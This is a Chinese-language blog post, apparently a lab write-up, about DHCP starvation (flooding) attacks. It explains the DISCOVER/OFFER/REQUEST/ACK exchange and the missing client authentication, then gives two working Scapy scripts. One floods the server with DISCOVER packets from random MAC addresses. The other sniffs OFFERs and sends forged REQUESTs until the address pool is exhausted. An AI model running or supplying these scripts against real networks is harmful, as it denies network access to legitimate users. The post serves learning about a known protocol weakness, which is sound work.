DHCP 泛洪攻擊小實(shí)驗(yàn)
DHCP 泛洪攻擊
攻擊原理:通過(guò)虛擬隨機(jī)生成的mac 地址占用DHCP 服務(wù)器中的地址池,達(dá)到正常機(jī)器無(wú)法獲取到IP 地址從而無(wú)法上網(wǎng)
DHCP 協(xié)議原理
DHCP 是為了解決靜態(tài)IP 地址,每次都需要進(jìn)行手動(dòng)輸入IP的不方便
DHCP 客戶端端口68 ,DHCP 服務(wù)端端口 67
-
首先Client 由于僅僅存在mac 地址,所以需要獲取一個(gè)未占用的IP 用于進(jìn)行標(biāo)識(shí)身份上網(wǎng)
-
由于Client 并不知道DHCP Server 的IP和mac,所以會(huì)發(fā)送一個(gè)廣播包 Discover(包內(nèi)信息帶有自身mac)
-
DHCP Server 收到請(qǐng)求后,檢查自身地址池,若存在空閑IP,向Discover 請(qǐng)求包源MAC 進(jìn)行Offer 回包(默認(rèn)為廣播包,可以指定為單播包)
-
Client 收到Offer 包后,進(jìn)行篩選,篩選完成后確認(rèn)該IP 地址,向DHCP Server 發(fā)起 Request 包用于確認(rèn)該IP地址(Request 包為廣播包)
-
DHCP Server 收到Request 包后,在地址池中標(biāo)記為此IP 已被使用,且保存其綁定的MAC 地址,進(jìn)行ACK 確認(rèn)包告知Client 無(wú)誤

思考:
? 為什么需要進(jìn)行四次握手的方式才能獲得IP?若是僅獲取IP的話,完全可以Discover 包發(fā)起請(qǐng)求,Offer包回IP地址完成一次IP分配。
? 由于在真實(shí)的網(wǎng)絡(luò)環(huán)境中,往往不會(huì)僅僅存在一臺(tái)DHCP 服務(wù)器,而是存在多臺(tái)的,若是采用Discover + Offer 的方式分配地址的話,會(huì)造成大量的IP 地址浪費(fèi),而Request 包作為廣播就是為了告知所有的DHCP Server 不會(huì)使用其IP。從而不會(huì)造成地址的浪費(fèi);
漏洞點(diǎn)
? 整體從DHCP 的原理看下來(lái),不難發(fā)現(xiàn),在完成一個(gè)完整的IP 分配后,完全不會(huì)校驗(yàn)Client 的真實(shí)性;從而導(dǎo)致了一臺(tái)Client 就可以偽造大量MAC 地址,按照DHCP 協(xié)議的四個(gè)數(shù)據(jù)包向Server 發(fā)起請(qǐng)求,即可完成占用完IP 地址池
DHCP 泛洪腳本
這里沒(méi)有用到多線程的方式實(shí)現(xiàn)泛洪,而是采用一發(fā)一監(jiān)聽的方式實(shí)現(xiàn)泛洪(因?yàn)镃lient 總共發(fā)兩個(gè)數(shù)據(jù)包 Discover + Request)
數(shù)據(jù)包的構(gòu)建,只需要提供源MAC 即可,并在DHCP 包頭標(biāo)明數(shù)據(jù)包類型
? xid : 用于標(biāo)識(shí)數(shù)據(jù)包
? src : 源mac/ip
? dst : 目標(biāo)mac/ip
? BOOTP : DHCP 的最初協(xié)議,DHCP 就是基于BOOTP 升級(jí)的協(xié)議
from scapy.all import *
# xid 為一個(gè)客戶端BOOTP 數(shù)據(jù)包的一個(gè)隨機(jī)數(shù)字
for i in range(300):
xid_random = random.randint(1,1000000000)
mac_random = str(RandMAC())
dhcp_discover = Ether(src=mac_random,dst="ff:ff:ff:ff:ff:ff")\
/ IP(src = "0.0.0.0",dst = "255.255.255.255")\
/ UDP(sport=68,dport=67)\
/ BOOTP(chaddr=mac_random,xid=xid_random,flags=32768)\
/ DHCP(options=[("message-type","discover"),"end"])
sendp(dhcp_discover,iface="以太網(wǎng) 2")
print("\n\n\nSending DHCPDISCOVER on" + "WLAN")
time.sleep(1)
監(jiān)聽對(duì)應(yīng)的物理網(wǎng)卡,篩選規(guī)則目標(biāo)端口為DHCP 客戶端從而可指定為Offer 或 ACK
? 這里需要取出關(guān)鍵的IP + Server IP + xid 即可,其余按照Request 包進(jìn)行構(gòu)建即可
from scapy.all import *
def dhcp_request(pkt):
if pkt[DHCP].options[0][1]==2:
Ether_Request = Ether(src=pkt[BOOTP].chaddr,dst = pkt[Ether].src)
IP_Request = IP(src="0.0.0.0",dst="255.255.255.255")
UPD_Request = UDP(sport=68,dport=67)
BOOTP_Request = BOOTP(chaddr=pkt[BOOTP].chaddr,xid=pkt[BOOTP].xid)
DHCP_Request = DHCP(options=[("message-type","request"),("server_id",pkt[IP].src),("requested_addr",pkt[BOOTP].yiaddr),"end"])
Request = Ether_Request/IP_Request/UPD_Request/BOOTP_Request/DHCP_Request
sendp(Request,iface="以太網(wǎng) 2")
print(pkt[BOOTP].yiaddr+"正在分配")
elif pkt[DHCP].options[0][1]==5:
print(pkt[BOOTP].yiaddr+"已被分配")
else:
print("所有的IP已被泛洪分配完畢")
sniff(iface="以太網(wǎng) 2",filter="port 67",prn=dhcp_request,count=500)

浙公網(wǎng)安備 33010602011771號(hào)